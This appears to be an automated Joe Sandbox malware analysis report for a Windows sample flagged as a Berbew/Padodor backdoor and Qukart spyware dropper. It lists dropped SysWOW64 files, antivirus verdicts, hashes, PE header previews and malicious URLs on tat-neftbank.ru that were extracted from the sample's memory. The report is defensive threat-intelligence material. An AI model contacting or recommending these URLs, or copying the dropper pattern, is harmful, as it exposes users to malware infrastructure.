C:\Windows\SysWOW64\Ekpjke32.dll	100%	Avira	TR/ATRAPS.Gen
C:\Windows\SysWOW64\Emogai32.exe	100%	Avira	TR/Spy.Qukart.NB
C:\Windows\SysWOW64\Ahhhnd32.dll	100%	Avira	TR/ATRAPS.Gen
C:\Windows\SysWOW64\Camgpi32.exe	100%	Avira	TR/Spy.Qukart.NB
C:\Windows\SysWOW64\Dmfdkj32.exe	100%	Avira	TR/Spy.Qukart.NB
C:\Windows\SysWOW64\Ceampi32.exe	100%	Avira	TR/Spy.Qukart.NB
C:\Windows\SysWOW64\Bqjacldl.exe	100%	Avira	TR/Spy.Qukart.NB
C:\Windows\SysWOW64\Bmlhnnne.exe	100%	Avira	TR/Spy.Qukart.NB
C:\Windows\SysWOW64\Akghbg32.dll	100%	Avira	TR/ATRAPS.Gen
C:\Windows\SysWOW64\Accicdme.dll	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Efgkjnfn.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Bgibkegc.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Bgamkfnl.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Cnjaioih.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Dfcboo32.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Ckaenpam.dll	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Baagdk32.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Bnnampcf.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Eoappk32.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Ajikgq32.dll	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Ajkolbad.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Chfnmf32.dll	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Bdlhdkdf.dll	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Cfnpmb32.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Clqdacnn.dll	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Dnhmjm32.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Bpghkh32.dll	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Edgbhcim.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Bnpnbp32.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Ekpkmk32.dll	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Ccapffke.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Ekpjke32.dll	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Emogai32.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Ahhhnd32.dll	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Camgpi32.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Dmfdkj32.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Ceampi32.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Bqjacldl.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Bmlhnnne.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Akghbg32.dll	100%	Joe Sandbox ML
C:\Windows\SysWOW64\Accicdme.dll	90%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Ahhhnd32.dll	96%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Ajikgq32.dll	91%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Akghbg32.dll	90%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Bdlhdkdf.dll	100%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Bpghkh32.dll	96%	ReversingLabs	Win32.Infostealer.Berbew
C:\Windows\SysWOW64\Chfnmf32.dll	89%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Ckaenpam.dll	91%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Clqdacnn.dll	96%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Ekpjke32.dll	96%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Ekpkmk32.dll	96%	ReversingLabs	Win32.Backdoor.Padodor
C:\Windows\SysWOW64\Fcjdhk32.dll	96%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Fehgpcld.dll	93%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Fkdfmkhi.dll	89%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Flhljo32.dll	96%	ReversingLabs	Win32.Infostealer.Berbew
C:\Windows\SysWOW64\Foelkeee.dll	91%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Gfdcflnh.dll	96%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Hdgplo32.dll	91%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Hjanmb32.dll	92%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Hjdhea32.dll	96%	ReversingLabs	Win32.Infostealer.Berbew
C:\Windows\SysWOW64\Hjjfnehb.dll	96%	ReversingLabs	Win32.Backdoor.Padodor
C:\Windows\SysWOW64\Ibbpip32.dll	96%	ReversingLabs	Win32.Backdoor.Padodor
C:\Windows\SysWOW64\Ibigijoc.dll	88%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Iemjhp32.dll	96%	ReversingLabs	Win32.Backdoor.Padodor
C:\Windows\SysWOW64\Ipqipqal.dll	96%	ReversingLabs	Win32.Infostealer.Berbew
C:\Windows\SysWOW64\Jcofqqkm.dll	91%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Jdackq32.dll	96%	ReversingLabs	Win32.Infostealer.Berbew
C:\Windows\SysWOW64\Jgemldcp.dll	96%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Kfnpbj32.dll	96%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Khlnhl32.dll	100%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Lbfpda32.dll	96%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Lfcadoap.dll	89%	ReversingLabs	Win32.Backdoor.Berbew
C:\Windows\SysWOW64\Lfjejf32.dll	96%	ReversingLabs	Win32.Backdoor.Berbew

Source	Detection	Scanner	Link
http://tat-neftbank.ru/kkq.phphttp://tat-neftbank.ru/wcmd.htmSoftware	1%	Virustotal	Browse
http://www.oracle.com/education/oln.	0%	Virustotal	Browse
http://oracle.com/contracts.	0%	Virustotal	Browse
http://tat-neftbank.ru/wcmd.htm	10%	Virustotal	Browse

Name	Source	Malicious	Antivirus Detection	Reputation
http://tat-neftbank.ru/kkq.phphttp://tat-neftbank.ru/wcmd.htmSoftware	h879iieoae.exe, 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmp, Nejhbi32.exe, 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmp, Ogjdllpi.exe, 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmp, Opbieagi.exe, 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmp, Oglabl32.exe, 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmp, Olijjb32.exe, 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmp, Oeanchcn.exe, 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmp, Oceoll32.exe, 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmp, Onkcje32.exe, 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmp, Odekfoij.exe, 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmp, Ojacofgb.exe, 0000000A.00000002.1986379697.000000000042A000.00000004.00000001.01000000.0000000D.sdmp, Ppllkpoo.exe, 0000000B.00000002.1988867655.000000000042A000.00000004.00000001.01000000.0000000E.sdmp, Plbmqa32.exe, 0000000C.00000002.1990903099.000000000042A000.00000004.00000001.01000000.0000000F.sdmp, Plgflqpn.exe, 0000000D.00000002.1993494029.000000000042A000.00000004.00000001.01000000.00000010.sdmp, Pqeoao32.exe, 0000000E.00000002.1998469389.000000000042A000.00000004.00000001.01000000.00000011.sdmp, Qgcpihjl.exe, 0000000F.00000002.2000063573.000000000042A000.00000004.00000001.01000000.00000012.sdmp, Ajkolbad.exe, 00000010.00000002.2000741077.000000000042A000.00000004.00000001.01000000.00000013.sdmp, Bmlhnnne.exe, 00000011.00000002.2001790871.000000000042A000.00000004.00000001.01000000.00000014.sdmp, Bgamkfnl.exe, 00000012.00000002.2002333377.000000000042A000.00000004.00000001.01000000.00000015.sdmp, Bqjacldl.exe, 00000013.00000002.2003694218.000000000042A000.00000004.00000001.01000000.00000016.sdmp, Bnnampcf.exe, 00000014.00000002.2004277931.000000000042A000.00000004.00000001.01000000.00000017.sdmp	false	1%, Virustotal, Browse	unknown
http://oracle.com/contracts.	Fkogfkdj.exe.35.dr	false	0%, Virustotal, Browse	unknown
http://tat-neftbank.ru/wcmd.htm	h879iieoae.exe, h879iieoae.exe, 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmp, Nejhbi32.exe, Nejhbi32.exe, 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmp, Ogjdllpi.exe, Ogjdllpi.exe, 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmp, Opbieagi.exe, Opbieagi.exe, 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmp, Oglabl32.exe, Oglabl32.exe, 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmp, Olijjb32.exe, Olijjb32.exe, 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmp, Oeanchcn.exe, Oeanchcn.exe, 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmp, Oceoll32.exe, Oceoll32.exe, 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmp, Onkcje32.exe, Onkcje32.exe, 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmp, Odekfoij.exe, Odekfoij.exe, 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmp, Ojacofgb.exe	false	10%, Virustotal, Browse	unknown
http://tat-neftbank.ru/kkq.php	h879iieoae.exe, h879iieoae.exe, 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmp, Nejhbi32.exe, Nejhbi32.exe, 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmp, Ogjdllpi.exe, Ogjdllpi.exe, 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmp, Opbieagi.exe, Opbieagi.exe, 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmp, Oglabl32.exe, Oglabl32.exe, 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmp, Olijjb32.exe, Olijjb32.exe, 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmp, Oeanchcn.exe, Oeanchcn.exe, 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmp, Oceoll32.exe, Oceoll32.exe, 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmp, Onkcje32.exe, Onkcje32.exe, 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmp, Odekfoij.exe, Odekfoij.exe, 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmp, Ojacofgb.exe	false		unknown
http://www.oracle.com/education/oln.	h879iieoae.exe, Fhedeo32.exe.36.dr, Odekfoij.exe.8.dr, Efgkjnfn.exe.33.dr, Bgibkegc.exe.21.dr, Feidnc32.exe.37.dr, Bgamkfnl.exe.17.dr, Cnjaioih.exe.26.dr, Oeanchcn.exe.5.dr, Dfcboo32.exe.30.dr, Ggmnlk32.exe.39.dr, Baagdk32.exe.22.dr, Bnnampcf.exe.19.dr, Eoappk32.exe.34.dr, Olijjb32.exe.4.dr, Oceoll32.exe.6.dr, Ajkolbad.exe.15.dr, Pqeoao32.exe.13.dr, Cfnpmb32.exe.23.dr, Dnhmjm32.exe.29.dr, Foaigifk.exe.38.dr	false	0%, Virustotal, Browse	unknown
http://oracle.com/contracts	h879iieoae.exe, Fhedeo32.exe.36.dr, Odekfoij.exe.8.dr, Efgkjnfn.exe.33.dr, Bgibkegc.exe.21.dr, Feidnc32.exe.37.dr, Bgamkfnl.exe.17.dr, Cnjaioih.exe.26.dr, Oeanchcn.exe.5.dr, Dfcboo32.exe.30.dr, Ggmnlk32.exe.39.dr, Baagdk32.exe.22.dr, Bnnampcf.exe.19.dr, Eoappk32.exe.34.dr, Olijjb32.exe.4.dr, Oceoll32.exe.6.dr, Ajkolbad.exe.15.dr, Pqeoao32.exe.13.dr, Cfnpmb32.exe.23.dr, Dnhmjm32.exe.29.dr, Foaigifk.exe.38.dr	false		unknown

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545775
Start date and time:	2024-10-31 00:58:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	h879iieoae.exe renamed because original name is a hash value
Original Sample Name:	55f3f17f1a264e2b9a8aa9d5750696688fc4a7bbd530ab74224db9939c974d09.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@80/81@0/0
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 90 Number of non-executed functions: 279
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.

Process:	C:\Windows\SysWOW64\Ojacofgb.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6657
Entropy (8bit):	2.885251662124886
Encrypted:	false
SSDEEP:	48:6EQt5YVOSVVEPy+wEMmqiHNpU108BB+BDq9J5SV3DY:CSVVEPozmB70B+FqX5S1D
MD5:	01BACC1A6C373F362354B368FE25582F
SHA1:	B9D8D4695D14DD6B6F819897E6B558FAA064334B
SHA-256:	99C0889F1A5B4A1DB587CEF07568E4CF336027161C55EC20147A7B31F29AF391
SHA-512:	BBEAFE35B908C06F7FE7CA17F8BCC7EA6B9339EA07273398726E38B60090AD3D53940B15F51C584258542B2A399537D6B60039E1B920DBCDA18FE24434664F48
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 90%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.@...........!...7.....................0...............................p.......................................`..T....@..l............................P....... ..T............................................................................text............................... ..`.rdata..T.... ..T................... ..@.data........0......................@....idata..l....@..l...................`....reloc.......P...................... ....edata..T....`..T................... ..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Ahhhnd32.dll

Download File

Process:	C:\Windows\SysWOW64\Cnjaioih.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6657
Entropy (8bit):	2.886072655616197
Encrypted:	false
SSDEEP:	48:6EQt5YVOSVVEPy+wEMmqiHNpU10hDB+BDq9J5SV3DY:CSVVEPozmB73B+FqX5S1D
MD5:	5C77B6D6FE11323575BE1C051AD8E3AC
SHA1:	E466654A2AEBFAD4432CAC84AA92A2F2F3EEBC1F
SHA-256:	8CBE454390BA6A4A0AB116F3B227D5D73733FD35C8F0581987AD4BD781E490A4
SHA-512:	F57CE28FE451EE614CBD9489082FC149ACF2CF1A8C6694FC308949681EEDF963670B33BEAEBC0C6AD0C78E1F0B7F53D75A28488D442E8470098FC0E1BD539667
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.@...........!...7.....................0...............................p.......................................`..T....@..l............................P....... ..T............................................................................text............................... ..`.rdata..T.... ..T................... ..@.data........0......................@....idata..l....@..l...................`....reloc.......P...................... ....edata..T....`..T................... ..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Ajikgq32.dll

Download File

Process:	C:\Windows\SysWOW64\Fkogfkdj.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6657
Entropy (8bit):	2.8859601858599824
Encrypted:	false
SSDEEP:	48:6EQt5YVOSVVEPy+wEMmqiHNpU10VB+BDq9J5SV3DY:CSVVEPozmB7nB+FqX5S1D
MD5:	4066501E819BB165774CE40327C68337
SHA1:	09A95BB7745B1BF3F6A6DC21C9B5F6393ED10AA2
SHA-256:	FED582E72F459F76C81527E41DE9396ACCD2974F7F0D04EFBD11DAD1FB4CB11F
SHA-512:	D23F4534AD3341F868B996F519111C9C513070E143F43B096B903B062EEB21854392CA37287DFF93C261DCA9B8C18A0D7A2494B23A1F5F2D792747AD80F073FC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 91%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.@...........!...7.....................0...............................p.......................................`..T....@..l............................P....... ..T............................................................................text............................... ..`.rdata..T.... ..T................... ..@.data........0......................@....idata..l....@..l...................`....reloc.......P...................... ....edata..T....`..T................... ..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Ajkolbad.exe

Download File

Process:	C:\Windows\SysWOW64\Qgcpihjl.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.998933945479664
Encrypted:	false
SSDEEP:	3072:RBj8+dFnx0uD5bkAKuCREXdXNKT1ntPG9poDrFDHZtOgl:RBgchx0uD5bkAKFCN9Otopg5tTl
MD5:	9A076EA5029217C545E15BC92444072D
SHA1:	25CD1D94EA1CF47E3303B707899624F4407A4635
SHA-256:	ECD6C51954210CBFE65B7B60F7CCA9BB2C937A4FE2EDA165A2EEDEBC00B6D6A4
SHA-512:	B9DC7B511E10F366762616DA66505D59BBF2037E42CD7B0FC52DCF65D0AE574AFB09890976579F43933EC48AA8FAD89A1600DB4470EFAEE4FBDED0ECBAC9A17D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Akghbg32.dll

Download File

Process:	C:\Windows\SysWOW64\Plgflqpn.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6657
Entropy (8bit):	2.8859769310145094
Encrypted:	false
SSDEEP:	48:6EQt5YVOSVVEPy+wEMmqiHNpU10lB+BDq9J5SV3DY:CSVVEPozmB7HB+FqX5S1D
MD5:	FF1180CEBD10F8C96F7D1AE9AF61A2D0
SHA1:	854B39782CB0C43E36B5AECF2A3D9781B4C79C3C
SHA-256:	18AC5AAA58D71E07E73995A8E7BEE7757062E090CE0AFF3BFA54F627E4EEBD2B
SHA-512:	A653F082F7F951FC81F8A8325B533221B8751B120224A287AFFC3F522B7C9FBF07191597A98A683E6443E0477F9AE62BEC4853DF5814EB6385609DBA7EC6B538
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 90%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.@...........!...7.....................0...............................p.......................................`..T....@..l............................P....... ..T............................................................................text............................... ..`.rdata..T.... ..T................... ..@.data........0......................@....idata..l....@..l...................`....reloc.......P...................... ....edata..T....`..T................... ..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Baagdk32.exe

Download File

Process:	C:\Windows\SysWOW64\Bgibkegc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.028616360071742
Encrypted:	false
SSDEEP:	3072:cUhgDWZpgXCREXdXNKT1ntPG9poDrFDHZtOgl:nh7ZpgyCN9Otopg5tTl
MD5:	1F4BBF60BA2126DD626006EB2F22CA9D
SHA1:	D437D1870F23E7F8E896DF9A30A8FC5A1A313D1D
SHA-256:	A676676E05DE3E6CF5E7097FF786E2E4641B68DC73AD0B609C8555E5E5460AB3
SHA-512:	77FF202F3340A0498686DA7F91E31ECC8655E511124645262AD19A71624F522D0EAE4799CA3970065E340A02356061DD840127AD5C9A6D3D347F710CADF426A9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Bdlhdkdf.dll

Download File

Process:	C:\Windows\SysWOW64\Odekfoij.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6657
Entropy (8bit):	2.8860557329548437
Encrypted:	false
SSDEEP:	48:6EQt5YVOSVVEPy+wEMmqiHNpU10uB+BDq9J5SV3DY:CSVVEPozmB7sB+FqX5S1D
MD5:	5029F68B8C3F9CCB8EE44619AAEB956D
SHA1:	FDAC430DD67CE6111981B0AE76FC7E49C103C99F
SHA-256:	6E0C87BD3F531A471096B0D6401A742D309ECD8D8D15980627BB1A783E2FE722
SHA-512:	CEC0A65BEA6CCB598A9C2DC98434F75DEED5C156D8550912F4A1C67E47750E74E351F733CBB687A507560E471B857016A18CA8BBCEC4B621E8888C319EEFE8BE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.@...........!...7.....................0...............................p.......................................`..T....@..l............................P....... ..T............................................................................text............................... ..`.rdata..T.... ..T................... ..@.data........0......................@....idata..l....@..l...................`....reloc.......P...................... ....edata..T....`..T................... ..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Bgamkfnl.exe

Download File

Process:	C:\Windows\SysWOW64\Bmlhnnne.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.031645249329655
Encrypted:	false
SSDEEP:	3072:G8x+/Oj0yCREXdXNKT1ntPG9poDrFDHZtOgl:xzQRCN9Otopg5tTl
MD5:	2DAF6E68C4322E5ABD5103F013110A0D
SHA1:	B006701EF3F12B2469CF00BF27320EAB6447C4B2
SHA-256:	F5995BDAA80E76C7FE77EF22C4932F70EABF9095139768C1F38DF759AD7E315D
SHA-512:	9D01C2BB1B25CCDA6DFE48D5D88B6B07A0BB549A1EA4FEE36614322E4E51ED3858FCB990E2D93CB3A29248CCE6ABDE66B10B85E595578883C4518A827CF46FC1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Bgibkegc.exe

Download File

Process:	C:\Windows\SysWOW64\Bnpnbp32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.028279935735276
Encrypted:	false
SSDEEP:	3072:FMk3dmGBMf38a9fogbqvm6oCREXdXNKT1ntPG9poDrFDHZtOgl:/UGB6fotm6nCN9Otopg5tTl
MD5:	0DBB530A0BE511F3DC794C1024460A99
SHA1:	260A27D85203A564F3E6C416F0EEEDCEC4F3FBE9
SHA-256:	C979B99EDCDA8CD54A9863DE3A53946D8C7C51513EE7BA338B92366B9979D3A2
SHA-512:	084F0F6BADC8E7A76661D43EF2F2CC3BEDDF2F602F223EB45B5A4F7BA6C1953B38D184BAA03E4B98411FE9AD3DB3036E056EA23B71E83B617CC4EEBA9D497C06
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Bmlhnnne.exe

Download File

Process:	C:\Windows\SysWOW64\Ajkolbad.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.971263561242074
Encrypted:	false
SSDEEP:	3072:e8oYMpMNxiEmGcCREXdXNKT1ntPG9poDrFDHZtOgl:RoINUEmGTCN9Otopg5tTl
MD5:	A98CEA1775884370D8699936D1B8E227
SHA1:	4FE88A32467399CFF48DEA1FD1827B2CC42BE7BA
SHA-256:	91D7187987D94F1C8404FBD31176B64C44EF91ED6D5A31E7E0FBFC9151679B24
SHA-512:	A3670D820B10B0240A0C7643BF1544A47055A9B260F9394AB87BADAA802C8407D2A4FEB34AE8D5DB632C270130B035B60E17EAD8EE6A883A220FF2F95198105F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Bnnampcf.exe

Download File

Process:	C:\Windows\SysWOW64\Bqjacldl.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.012397681056841
Encrypted:	false
SSDEEP:	3072:n1n88M8fLNrcCREXdXNKT1ntPG9poDrFDHZtOgl:1nFNrTCN9Otopg5tTl
MD5:	F015A56D85709788B392A68459FEB024
SHA1:	961EDCAE9789202FC47F8723130CF73FD5304C51
SHA-256:	7AFE64740B01457391889E726604B486B03CEBFF904109A951DF4B37DB1AA540
SHA-512:	F1025264BABC91E3E12D1038C91CFF49BC80258F1FC73BAA9A08B75AD8278183860C7C74599AFB73B3BB6E305E7E51ACBFBFBB55773DE76E109CF782D7657FB6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
